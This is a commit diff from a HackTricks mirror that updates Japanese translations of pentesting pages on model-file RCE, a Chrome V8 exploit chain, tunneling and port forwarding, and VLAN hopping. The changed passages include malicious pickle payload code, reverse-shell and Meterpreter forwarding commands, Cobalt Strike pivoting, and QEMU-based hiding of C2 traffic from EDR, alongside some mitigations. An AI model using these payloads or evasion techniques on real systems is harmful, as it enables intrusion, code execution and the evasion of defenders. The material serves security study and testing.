mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Models-RCE.md', 'src/binary-exploitation/chrome-e
This commit is contained in:
parent
4db1b62730
commit
8fe3ca19df
@ -4,7 +4,7 @@
|
||||
|
||||
## Loading models to RCE
|
||||
|
||||
機械学習モデルは通常、ONNX、TensorFlow、PyTorchなどの異なる形式で共有されます。これらのモデルは、開発者のマシンや本番システムにロードされて使用されます。通常、モデルには悪意のあるコードが含まれていないはずですが、モデルのロードライブラリの脆弱性や意図された機能として、モデルを使用してシステム上で任意のコードを実行できる場合があります。
|
||||
機械学習モデルは通常、ONNX、TensorFlow、PyTorchなどの異なる形式で共有されます。これらのモデルは、開発者のマシンや本番システムにロードされて使用されます。通常、モデルには悪意のあるコードが含まれていないはずですが、モデルのロードライブラリの脆弱性や意図された機能として、モデルがシステム上で任意のコードを実行するために使用される場合があります。
|
||||
|
||||
執筆時点でのこの種の脆弱性のいくつかの例は次のとおりです:
|
||||
|
||||
@ -12,16 +12,16 @@
|
||||
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------|
|
||||
| **PyTorch** (Python) | *Insecure deserialization in* `torch.load` **(CVE-2025-32434)** | モデルチェックポイント内の悪意のあるピクルがコード実行を引き起こす(`weights_only`の保護をバイパス) | |
|
||||
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + 悪意のあるモデルダウンロードがコード実行を引き起こす; 管理APIにおけるJavaデシリアライズRCE | |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (unsafe YAML) <br> **CVE-2024-3660** (Keras Lambda) | YAMLからモデルをロードすると`yaml.unsafe_load`を使用(コード実行) <br> **Lambda**レイヤーを使用したモデルのロードが任意のPythonコードを実行する | |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (unsafe YAML) <br> **CVE-2024-3660** (Keras Lambda) | YAMLからモデルをロードすると`yaml.unsafe_load`を使用(コード実行) <br> **Lambda**レイヤーを使用したモデルのロードが任意のPythonコードを実行 | |
|
||||
| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsing) | 作成された`.tflite`モデルが整数オーバーフローを引き起こし→ヒープ破損(潜在的RCE) | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | `joblib.load`を介してモデルをロードすると、攻撃者の`__reduce__`ペイロードを持つピクルが実行される | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (unsafe `np.load`) *disputed* | `numpy.load`のデフォルトがピクルオブジェクト配列を許可 – 悪意のある`.npy/.npz`がコード実行を引き起こす | |
|
||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversal) <br> **CVE-2024-5187** (tar traversal) | ONNXモデルの外部ウェイトパスがディレクトリを脱出できる(任意のファイルを読み取る) <br> 悪意のあるONNXモデルtarが任意のファイルを上書きできる(RCEにつながる) | |
|
||||
| ONNX Runtime (design risk) | *(No CVE)* ONNX custom ops / control flow | カスタムオペレーターを持つモデルは攻撃者のネイティブコードをロードする必要がある; 複雑なモデルグラフが論理を悪用して意図しない計算を実行する | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (path traversal) | `--model-control`が有効なモデルロードAPIを使用すると、相対パスのトラバーサルが可能になり、ファイルを書き込むことができる(例:RCEのために`.bashrc`を上書き) | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (path traversal) | `--model-control`が有効なモデルロードAPIを使用すると、相対パスのトラバーサルが可能になり、ファイルを書き込むことができる(例:`.bashrc`を上書きしてRCE) | |
|
||||
| **GGML (GGUF format)** | **CVE-2024-25664 … 25668** (multiple heap overflows) | 形式が不正なGGUFモデルファイルがパーサー内でヒープバッファオーバーフローを引き起こし、被害者システムでの任意のコード実行を可能にする | |
|
||||
| **Keras (older formats)** | *(No new CVE)* Legacy Keras H5 model | 悪意のあるHDF5(`.h5`)モデルがLambdaレイヤーコードを持ち、ロード時に実行される(Kerasのsafe_modeは古い形式をカバーしていない – “ダウングレード攻撃”) | |
|
||||
| **Others** (general) | *Design flaw* – Pickle serialization | 多くのMLツール(例:ピクルベースのモデル形式、Python `pickle.load`)は、緩和策が講じられない限り、モデルファイルに埋め込まれた任意のコードを実行します | |
|
||||
| **Others** (general) | *Design flaw* – Pickle serialization | 多くのMLツール(例:ピクルベースのモデル形式、Python `pickle.load`)は、緩和策がない限り、モデルファイルに埋め込まれた任意のコードを実行します | |
|
||||
|
||||
さらに、[PyTorch](https://github.com/pytorch/pytorch/security)で使用されるようなPythonピクルベースのモデルは、`weights_only=True`でロードされない場合、システム上で任意のコードを実行するために使用される可能性があります。したがって、テーブルにリストされていない場合でも、すべてのピクルベースのモデルはこの種の攻撃に特に脆弱である可能性があります。
|
||||
|
||||
@ -33,13 +33,13 @@
|
||||
```python
|
||||
checkpoint = torch.load(path, map_location=torch.device("meta"))
|
||||
```
|
||||
提供されたファイルが**PyTorchチェックポイント(`*.ckpt`)**である場合、`torch.load`は**ピクルデシリアライズ**を実行します。コンテンツがユーザー制御のURLから直接来るため、攻撃者はチェックポイント内にカスタム`__reduce__`メソッドを持つ悪意のあるオブジェクトを埋め込むことができます。このメソッドは**デシリアライズ中**に実行され、InvokeAIサーバー上で**リモートコード実行(RCE)**を引き起こします。
|
||||
提供されたファイルが **PyTorch チェックポイント (`*.ckpt`)** の場合、`torch.load` は **ピクルデシリアライズ** を実行します。コンテンツはユーザー制御の URL から直接取得されるため、攻撃者はチェックポイント内にカスタム `__reduce__` メソッドを持つ悪意のあるオブジェクトを埋め込むことができます。このメソッドは **デシリアライズ中** に実行され、InvokeAI サーバー上で **リモートコード実行 (RCE)** を引き起こします。
|
||||
|
||||
この脆弱性には**CVE-2024-12029**(CVSS 9.8、EPSS 61.17%)が割り当てられました。
|
||||
この脆弱性には **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %) が割り当てられました。
|
||||
|
||||
#### 攻撃の手順
|
||||
|
||||
1. 悪意のあるチェックポイントを作成します:
|
||||
1. 悪意のあるチェックポイントを作成する:
|
||||
```python
|
||||
# payload_gen.py
|
||||
import pickle, torch, os
|
||||
@ -69,7 +69,7 @@ timeout=5,
|
||||
```
|
||||
4. InvokeAIがファイルをダウンロードすると、`torch.load()`が呼び出され、`os.system`ガジェットが実行され、攻撃者はInvokeAIプロセスのコンテキストでコード実行を得ます。
|
||||
|
||||
既製のエクスプロイト: **Metasploit** モジュール `exploit/linux/http/invokeai_rce_cve_2024_12029` は、全体のフローを自動化します。
|
||||
既製のエクスプロイト: **Metasploit** モジュール `exploit/linux/http/invokeai_rce_cve_2024_12029` は全体のフローを自動化します。
|
||||
|
||||
#### 条件
|
||||
|
||||
@ -80,8 +80,8 @@ timeout=5,
|
||||
#### 緩和策
|
||||
|
||||
* **InvokeAI ≥ 5.4.3** にアップグレード – パッチはデフォルトで `scan=True` を設定し、デシリアライズ前にマルウェアスキャンを実行します。
|
||||
* チェックポイントをプログラム的に読み込む際は、`torch.load(file, weights_only=True)` または新しい [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) ヘルパーを使用します。
|
||||
* モデルソースの許可リスト/署名を強制し、最小権限でサービスを実行します。
|
||||
* チェックポイントをプログラム的に読み込む際は `torch.load(file, weights_only=True)` または新しい [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) ヘルパーを使用します。
|
||||
* モデルソースのために許可リスト/署名を強制し、最小権限でサービスを実行します。
|
||||
|
||||
> ⚠️ **任意の** Pythonピクルベースのフォーマット(多くの `.pt`, `.pkl`, `.ckpt`, `.pth` ファイルを含む)は、信頼できないソースからデシリアライズすることが本質的に安全ではないことを忘れないでください。
|
||||
|
||||
@ -131,11 +131,11 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
|
||||
|
||||
# /tmp/pwned.txt is created even if you get an error
|
||||
```
|
||||
## モデルとパストラバーサル
|
||||
## Models to Path Traversal
|
||||
|
||||
[**このブログ投稿**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties)でコメントされているように、異なるAIフレームワークで使用されるほとんどのモデル形式はアーカイブに基づいており、通常は`.zip`です。したがって、これらの形式を悪用してパストラバーサル攻撃を実行し、モデルがロードされているシステムから任意のファイルを読み取ることが可能かもしれません。
|
||||
[**このブログ記事**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties)でコメントされているように、異なるAIフレームワークで使用されるほとんどのモデルフォーマットはアーカイブに基づいており、通常は`.zip`です。したがって、これらのフォーマットを悪用してパス・トラバーサル攻撃を実行し、モデルがロードされているシステムから任意のファイルを読み取ることが可能かもしれません。
|
||||
|
||||
例えば、以下のコードを使用すると、ロードされたときに`/tmp`ディレクトリにファイルを作成するモデルを作成できます:
|
||||
例えば、以下のコードを使用すると、ロードされたときに`/tmp`ディレクトリにファイルを作成するモデルを作成できます:
|
||||
```python
|
||||
import tarfile
|
||||
|
||||
@ -161,9 +161,9 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf:
|
||||
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
|
||||
tf.add(PAYLOAD) # rides the symlink
|
||||
```
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [OffSec blog – "CVE-2024-12029 – InvokeAIの信頼できないデータの逆シリアル化"](https://www.offsec.com/blog/cve-2024-12029/)
|
||||
- [OffSecブログ – "CVE-2024-12029 – InvokeAIの信頼できないデータの逆シリアル化"](https://www.offsec.com/blog/cve-2024-12029/)
|
||||
- [InvokeAIパッチコミット756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
|
||||
- [Rapid7 Metasploitモジュールドキュメント](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/)
|
||||
- [PyTorch – torch.loadのセキュリティ考慮事項](https://pytorch.org/docs/stable/notes/serialization.html#security)
|
||||
|
@ -36,7 +36,7 @@ Layered defence-in-depth:
|
||||
したがって、*リモート* 攻撃者は **3つの** 連続したプリミティブが必要です:
|
||||
|
||||
1. V8内のメモリ破損により **V8ヒープ内の任意のRWを取得**。
|
||||
2. 攻撃者が **V8サンドボックスから完全なレンダラーメモリに脱出** できる2つ目のバグ。
|
||||
2. 攻撃者が **V8サンドボックスから完全なレンダラーメモリに脱出** できる2番目のバグ。
|
||||
3. コードを **Chrome OSサンドボックスの外で実行する** 最終的なサンドボックス脱出(しばしばメモリ破損ではなく論理)。
|
||||
|
||||
---
|
||||
@ -78,7 +78,7 @@ let victim = {m: 13.37};
|
||||
let fake = arbitrary_data_backed_typedarray;
|
||||
let addrVict = addrOf(victim);
|
||||
```
|
||||
結果: **V8内での任意の読み書き**。
|
||||
Outcome: **任意の読み書きがV8内で可能**。
|
||||
|
||||
---
|
||||
|
||||
@ -86,14 +86,14 @@ let addrVict = addrOf(victim);
|
||||
|
||||
Wasm関数がティアアップコンパイルされると、**JS ↔ Wasmラッパー**が生成されます。シグネチャ不一致バグにより、Wasm関数が*スタック上にある間*に再最適化されると、ラッパーが信頼された**`Tuple2`**オブジェクトの末尾を超えて書き込むことになります。
|
||||
|
||||
`Tuple2`オブジェクトの2 × 64ビットフィールドを上書きすることで、**レンダラープロセス内の任意のアドレスへの読み書き**が可能になり、V8サンドボックスを効果的にバイパスします。
|
||||
`Tuple2`オブジェクトの2つの64ビットフィールドを上書きすることで、**レンダラープロセス内の任意のアドレスへの読み書きが可能**になり、実質的にV8サンドボックスをバイパスします。
|
||||
|
||||
エクスプロイトの主要なステップ:
|
||||
エクスプロイトの重要なステップ:
|
||||
1. ターボファン/ベースラインコードを交互に使用して関数を**ティアアップ**状態にする。
|
||||
2. スタック上で参照を保持しながらティアアップをトリガーする(`Function.prototype.apply`)。
|
||||
3. ステージ1 AAR/AAWを使用して隣接する`Tuple2`を見つけて破損させる。
|
||||
|
||||
ラッパーの識別:
|
||||
ラッパーの識別:
|
||||
```js
|
||||
function wrapperGen(arg) {
|
||||
return f(arg);
|
||||
@ -101,7 +101,7 @@ return f(arg);
|
||||
%WasmTierUpFunction(f); // force tier-up (internals-only flag)
|
||||
wrapperGen(0x1337n);
|
||||
```
|
||||
腐敗後、完全な機能を持つ **renderer R/W primitive** を取得します。
|
||||
破損後、完全な機能を持つ **renderer R/W primitive** を取得します。
|
||||
|
||||
---
|
||||
|
||||
@ -109,7 +109,7 @@ wrapperGen(0x1337n);
|
||||
|
||||
**Mojo** IPC インターフェース `blink.mojom.DragService.startDragging()` は、*部分的に信頼された* パラメータで Renderer から呼び出すことができます。 **任意のファイルパス** を指す `DragData` 構造体を作成することで、レンダラーはブラウザに対して *ネイティブ* ドラッグアンドドロップを **レンダラーサンドボックスの外で** 実行させることができます。
|
||||
|
||||
これを悪用することで、プログラム的に悪意のある EXE(以前に書き込み可能な場所にドロップされた)をデスクトップに「ドラッグ」し、Windows が特定のファイルタイプを自動的に実行します。
|
||||
これを悪用することで、プログラム的に悪意のある EXE(以前に書き込み可能な場所にドロップされた)をデスクトップに「ドラッグ」することができ、Windows はドロップされたファイルタイプを自動的に実行します。
|
||||
|
||||
例(簡略化):
|
||||
```js
|
||||
@ -124,7 +124,7 @@ mime_type: "application/x-msdownload"
|
||||
}
|
||||
});
|
||||
```
|
||||
追加のメモリ破損は必要ありません – **論理的欠陥**により、ユーザーの権限で任意のファイルを実行できます。
|
||||
追加のメモリ破損は必要ありません – **論理的欠陥**により、ユーザーの権限で任意のファイル実行が可能になります。
|
||||
|
||||
---
|
||||
|
||||
@ -133,7 +133,7 @@ mime_type: "application/x-msdownload"
|
||||
1. **ユーザーが** 悪意のあるウェブページを訪問します。
|
||||
2. **ステージ 1**: Wasm モジュールが CVE-2025-0291 を悪用 → V8 ヒープ AAR/AAW。
|
||||
3. **ステージ 2**: ラッパーの不一致が `Tuple2` を破損 → V8 サンドボックスから脱出。
|
||||
4. **ステージ 3**: `startDragging()` IPC → OS サンドボックスから脱出し、ペイロードを実行。
|
||||
4. **ステージ 3**: `startDragging()` IPC → OS サンドボックスから脱出 & ペイロードを実行。
|
||||
|
||||
結果: **リモートコード実行 (RCE)** がホスト上で発生します (Chrome 130, Windows/Linux/macOS)。
|
||||
|
||||
@ -150,7 +150,7 @@ http-server -p 8000 -c -1
|
||||
# Windows kernel debugging
|
||||
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
|
||||
```
|
||||
*development* ビルドの Chrome を起動する際に便利なフラグ:
|
||||
Chromeの*development*ビルドを起動する際に便利なフラグ:
|
||||
```bash
|
||||
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
|
||||
```
|
||||
|
@ -27,7 +27,7 @@ evil-winrm -u username -i Jump
|
||||
```
|
||||
## **SSH**
|
||||
|
||||
SSH グラフィカル接続 (X)
|
||||
SSHグラフィカル接続 (X)
|
||||
```bash
|
||||
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
|
||||
```
|
||||
@ -57,7 +57,7 @@ ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port
|
||||
```
|
||||
### リバースポートフォワーディング
|
||||
|
||||
これは、DMZを通じて内部ホストからあなたのホストへのリバースシェルを取得するのに役立ちます:
|
||||
これは、DMZを通じて内部ホストからあなたのホストにリバースシェルを取得するのに役立ちます:
|
||||
```bash
|
||||
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||
# Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000
|
||||
@ -89,12 +89,12 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> **セキュリティ – テラピン攻撃 (CVE-2023-48795)**
|
||||
> 2023年のテラピンダウングレード攻撃により、マンインザミドルが初期SSHハンドシェイクを改ざんし、**任意の転送チャネル**( `-L`, `-R`, `-D` )にデータを注入することができます。クライアントとサーバーの両方がパッチ適用されていることを確認してください(**OpenSSH ≥ 9.6/LibreSSH 6.7**)または、SSHトンネルに依存する前に、脆弱な `chacha20-poly1305@openssh.com` および `*-etm@openssh.com` アルゴリズムを `sshd_config`/`ssh_config` で明示的に無効にしてください。
|
||||
> 2023年のテラピンダウングレード攻撃により、マンインザミドルが初期SSHハンドシェイクを改ざんし、**任意の転送チャネル**( `-L`, `-R`, `-D` )にデータを注入することができます。クライアントとサーバーの両方がパッチ適用されていることを確認してください(**OpenSSH ≥ 9.6/LibreSSH 6.7**)または、SSHトンネルに依存する前に、`sshd_config`/`ssh_config`で脆弱な`chacha20-poly1305@openssh.com`および`*-etm@openssh.com`アルゴリズムを明示的に無効にしてください。
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
**ssh** を介してホストを通じて **サブネットワーク** への **トラフィック** を **トンネル** できます。\
|
||||
例えば、10.10.10.0/24 へのすべてのトラフィックを転送すること。
|
||||
**ssh**を介して**サブネットワーク**への**トラフィック**をホストを通じて**トンネル**できます。\
|
||||
例えば、10.10.10.0/24へのすべてのトラフィックを転送することができます。
|
||||
```bash
|
||||
pip install sshuttle
|
||||
sshuttle -r user@host 10.10.10.10/24
|
||||
@ -138,7 +138,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||||
|
||||
### SOCKSプロキシ
|
||||
|
||||
すべてのインターフェースでリッスンしているteamserverでポートを開き、**ビークンを通じてトラフィックをルーティングする**ことができます。
|
||||
すべてのインターフェースでリッスンしているteamserverでポートを開き、**ビコーンを通じてトラフィックをルーティングする**ことができます。
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
@ -149,7 +149,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
||||
### rPort2Port
|
||||
|
||||
> [!WARNING]
|
||||
> この場合、**ポートはビーコンホストで開かれます**。チームサーバーではなく、トラフィックはチームサーバーに送信され、そこから指定されたホスト:ポートに送信されます。
|
||||
> この場合、**ポートはビーコーンホストで開かれます**。チームサーバーではなく、トラフィックはチームサーバーに送信され、そこから指定されたホスト:ポートに送られます。
|
||||
```bash
|
||||
rportfwd [bind port] [forward host] [forward port]
|
||||
rportfwd stop [bind port]
|
||||
@ -157,13 +157,13 @@ rportfwd stop [bind port]
|
||||
注意:
|
||||
|
||||
- Beaconのリバースポートフォワードは、**個々のマシン間の中継ではなく、Team Serverへのトラフィックをトンネリングするために設計されています**。
|
||||
- トラフィックは**BeaconのC2トラフィック内でトンネリングされます**、P2Pリンクを含みます。
|
||||
- トラフィックは**BeaconのC2トラフィック内でトンネリングされ**、P2Pリンクを含みます。
|
||||
- **管理者権限は必要ありません** 高ポートでリバースポートフォワードを作成するために。
|
||||
|
||||
### rPort2Port ローカル
|
||||
|
||||
> [!WARNING]
|
||||
> この場合、**ポートはbeaconホストで開かれます**、Team Serverではなく、**トラフィックはCobalt Strikeクライアントに送信されます**(Team Serverではなく)、そこから指定されたホスト:ポートに送信されます。
|
||||
> この場合、**ポートはbeaconホストで開かれ**、Team Serverではなく、**トラフィックはCobalt Strikeクライアントに送信され**(Team Serverではなく)、そこから指定されたホスト:ポートに送信されます。
|
||||
```bash
|
||||
rportfwd_local [bind port] [forward host] [forward port]
|
||||
rportfwd_local stop [bind port]
|
||||
@ -280,7 +280,7 @@ socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
|
||||
```bash
|
||||
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
|
||||
```
|
||||
### MeterpreterをSSL Socat経由で
|
||||
### SSL Socatを介したMeterpreter
|
||||
```bash
|
||||
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
|
||||
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
|
||||
@ -326,7 +326,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
||||
|
||||
これはコンソール版のPuTTYのようなもので(オプションはsshクライアントに非常に似ています)、
|
||||
|
||||
このバイナリは被害者のマシンで実行され、sshクライアントであるため、リバース接続を確立するためにsshサービスとポートを開く必要があります。次に、ローカルでアクセス可能なポートを自分のマシンのポートに転送するには:
|
||||
このバイナリは被害者のコンピュータで実行され、sshクライアントであるため、リバース接続を確立するためにsshサービスとポートを開く必要があります。次に、ローカルでアクセス可能なポートを自分のマシンのポートに転送するには:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
@ -358,7 +358,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
今、私たちは **`mstsc.exe`** を使用して **RDP** 経由で **victim** に **接続** できます。**SocksOverRDP プラグインが有効になっている** という **プロンプト** が表示され、**127.0.0.1:1080** で **リッスン** します。
|
||||
今、私たちは **`mstsc.exe`** を使用して **RDP** 経由で **victim** に **接続** でき、**SocksOverRDP プラグインが有効である** という **プロンプト** が表示され、**127.0.0.1:1080** で **リッスン** することになります。
|
||||
|
||||
**RDP** 経由で **接続** し、victim マシンに `SocksOverRDP-Server.exe` バイナリをアップロードして実行します:
|
||||
```
|
||||
@ -517,8 +517,8 @@ _必要に応じて、認証とTLSを追加することも可能です。_
|
||||
```
|
||||
#### HTTPコールのスニッフィング
|
||||
|
||||
_XSS、SSRF、SSTIに役立ちます..._\
|
||||
stdoutから直接、またはHTTPインターフェースで [http://127.0.0.1:4040](http://127.0.0.1:4000) 。
|
||||
_XSS、SSRF、SSTI ... に役立ちます。_\
|
||||
stdoutから直接、またはHTTPインターフェース [http://127.0.0.1:4040](http://127.0.0.1:4000) で。
|
||||
|
||||
#### 内部HTTPサービスのトンネリング
|
||||
```bash
|
||||
@ -532,7 +532,7 @@ stdoutから直接、またはHTTPインターフェースで [http://127.0.0.1:
|
||||
3つのトンネルを開きます:
|
||||
|
||||
- 2つのTCP
|
||||
- 1つのHTTP、/tmp/httpbin/ からの静的ファイルの公開
|
||||
- 1つのHTTP(/tmp/httpbin/ からの静的ファイルの公開)
|
||||
```yaml
|
||||
tunnels:
|
||||
mytcp:
|
||||
@ -547,7 +547,7 @@ addr: file:///tmp/httpbin/
|
||||
```
|
||||
## Cloudflared (Cloudflare Tunnel)
|
||||
|
||||
Cloudflareの`cloudflared`デーモンは、**ローカルTCP/UDPサービス**を公開するアウトバウンドトンネルを作成でき、インバウンドファイアウォールルールを必要とせず、Cloudflareのエッジを待ち合わせ地点として使用します。これは、出口ファイアウォールがHTTPSトラフィックのみを許可し、インバウンド接続がブロックされている場合に非常に便利です。
|
||||
Cloudflareの`cloudflared`デーモンは、**ローカルTCP/UDPサービス**を公開するアウトバウンドトンネルを作成でき、インバウンドファイアウォールルールを必要とせず、Cloudflareのエッジを待ち合わせポイントとして使用します。これは、出口ファイアウォールがHTTPSトラフィックのみを許可し、インバウンド接続がブロックされている場合に非常に便利です。
|
||||
|
||||
### Quick tunnel one-liner
|
||||
```bash
|
||||
@ -578,7 +578,7 @@ cloudflared tunnel run mytunnel
|
||||
|
||||
## FRP (Fast Reverse Proxy)
|
||||
|
||||
[`frp`](https://github.com/fatedier/frp)は、**TCP、UDP、HTTP/S、SOCKS、P2P NATホールパンチング**をサポートする、アクティブにメンテナンスされているGoリバースプロキシです。**v0.53.0 (2024年5月)**から、**SSHトンネルゲートウェイ**として機能できるため、ターゲットホストは追加のバイナリなしで、標準のOpenSSHクライアントのみを使用してリバーストンネルを立ち上げることができます。
|
||||
[`frp`](https://github.com/fatedier/frp)は、**TCP、UDP、HTTP/S、SOCKS、P2P NATホールパンチ**をサポートする、アクティブにメンテナンスされているGoリバースプロキシです。**v0.53.0 (2024年5月)**から、**SSHトンネルゲートウェイ**として機能できるため、ターゲットホストは追加のバイナリなしで、標準のOpenSSHクライアントのみを使用してリバーストンネルを立ち上げることができます。
|
||||
|
||||
### クラシックリバースTCPトンネル
|
||||
```bash
|
||||
@ -612,7 +612,7 @@ ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_p
|
||||
|
||||
## QEMUを使用した隠密VMベースのトンネル
|
||||
|
||||
QEMUのユーザーモードネットワーキング(`-netdev user`)は、*ホスト*上のTCP/UDPポートを**バインド**し、*ゲスト*に転送する`hostfwd`というオプションをサポートしています。 ゲストが完全なSSHデーモンを実行している場合、hostfwdルールは、エフェメラルVM内に完全に存在する使い捨てSSHジャンプボックスを提供します – すべての悪意のある活動とファイルが仮想ディスク内に留まるため、EDRからC2トラフィックを隠すのに最適です。
|
||||
QEMUのユーザーモードネットワーキング(`-netdev user`)は、`hostfwd`と呼ばれるオプションをサポートしており、**ホスト上のTCP/UDPポートをバインドし、それを*ゲスト*に転送します**。 ゲストが完全なSSHデーモンを実行しているとき、hostfwdルールは、エフェメラルVM内に完全に存在する使い捨てSSHジャンプボックスを提供します – すべての悪意のある活動とファイルが仮想ディスク内に留まるため、EDRからC2トラフィックを隠すのに最適です。
|
||||
|
||||
### クイックワンライナー
|
||||
```powershell
|
||||
@ -654,7 +654,7 @@ while ! ping -c1 45.77.4.101; do sleep 2; done
|
||||
|
||||
• 署名されていない実行可能ファイル(`qemu-system-*.exe`)はディスクに触れるのは2つだけで、ドライバやサービスはインストールされていません。
|
||||
• ホスト上のセキュリティ製品は**無害なループバックトラフィック**を検出します(実際のC2はVM内で終了します)。
|
||||
• メモリスキャナは、異なるOSに存在するため、悪意のあるプロセス空間を分析しません。
|
||||
• メモリスキャナーは、異なるOSに存在するため、悪意のあるプロセス空間を分析しません。
|
||||
|
||||
### Defenderのヒント
|
||||
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
スイッチへの直接アクセスが可能な場合、VLANセグメンテーションをバイパスできます。これには、接続されたポートをトランクモードに再構成し、ターゲットVLAN用の仮想インターフェースを確立し、シナリオに応じて動的(DHCP)または静的にIPアドレスを設定することが含まれます(**詳細については[https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)を確認してください**)。
|
||||
スイッチへの直接アクセスが可能な場合、VLANセグメンテーションをバイパスできます。これには、接続されたポートをトランクモードに再構成し、ターゲットVLAN用の仮想インターフェースを確立し、シナリオに応じて動的(DHCP)または静的にIPアドレスを設定することが含まれます(**詳細については[https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)を確認してください。**)
|
||||
|
||||
最初に、特定の接続ポートの特定が必要です。これは通常、CDPメッセージを通じて、または**include**マスクを使用してポートを検索することで達成できます。
|
||||
|
||||
@ -10,11 +10,11 @@
|
||||
```
|
||||
SW1(config)# show mac address-table | include 0050.0000.0500
|
||||
```
|
||||
トランクモードに切り替える前に、既存のVLANのリストを作成し、それらの識別子を特定する必要があります。これらの識別子はインターフェースに割り当てられ、トランクを介してさまざまなVLANにアクセスできるようになります。使用中のポートは、例えば、VLAN 10に関連付けられています。
|
||||
トランクモードに切り替える前に、既存のVLANのリストを作成し、それらの識別子を特定する必要があります。これらの識別子はインターフェースに割り当てられ、トランクを介してさまざまなVLANにアクセスできるようになります。使用中のポートは、例えばVLAN 10に関連付けられています。
|
||||
```
|
||||
SW1# show vlan brief
|
||||
```
|
||||
**トランクモードへの移行はインターフェース設定モードに入ることを伴います**:
|
||||
**トランクモードへの移行はインターフェイス設定モードに入ることを伴います**:
|
||||
```
|
||||
SW1(config)# interface GigabitEthernet 0/2
|
||||
SW1(config-if)# switchport trunk encapsulation dot1q
|
||||
@ -44,7 +44,7 @@ sudo dhclient -v eth0.60
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
```
|
||||
接続性は、VLAN 10、20、50、および60のデフォルトゲートウェイへのICMPリクエストを開始することでテストされます。
|
||||
接続性は、VLAN 10、20、50、および60のデフォルトゲートウェイにICMPリクエストを送信することでテストされます。
|
||||
|
||||
最終的に、このプロセスはVLANセグメンテーションのバイパスを可能にし、任意のVLANネットワークへの制限のないアクセスを促進し、その後のアクションのための基盤を整えます。
|
||||
|
||||
@ -56,7 +56,7 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
|
||||
### 1. ダイナミックトランクプロトコル(DTP)を使用したスイッチスプーフィング
|
||||
|
||||
DTPが有効なCiscoスイッチは、ピアがスイッチであると主張する場合、喜んでトランクを交渉します。単一の**DTP “desirable”**または**“trunk”**フレームを作成することで、アクセスポートが*すべての*許可されたVLANを運ぶ802.1Qトランクに変換されます。
|
||||
DTPを有効にしているCiscoスイッチは、ピアがスイッチであると主張する場合、喜んでトランクを交渉します。単一の**DTP “desirable”**または**“trunk”**フレームを作成することで、アクセスポートが*すべての*許可されたVLANを運ぶ802.1Qトランクに変換されます。
|
||||
|
||||
*Yersinia*やいくつかのPoCは、このプロセスを自動化します:
|
||||
```bash
|
||||
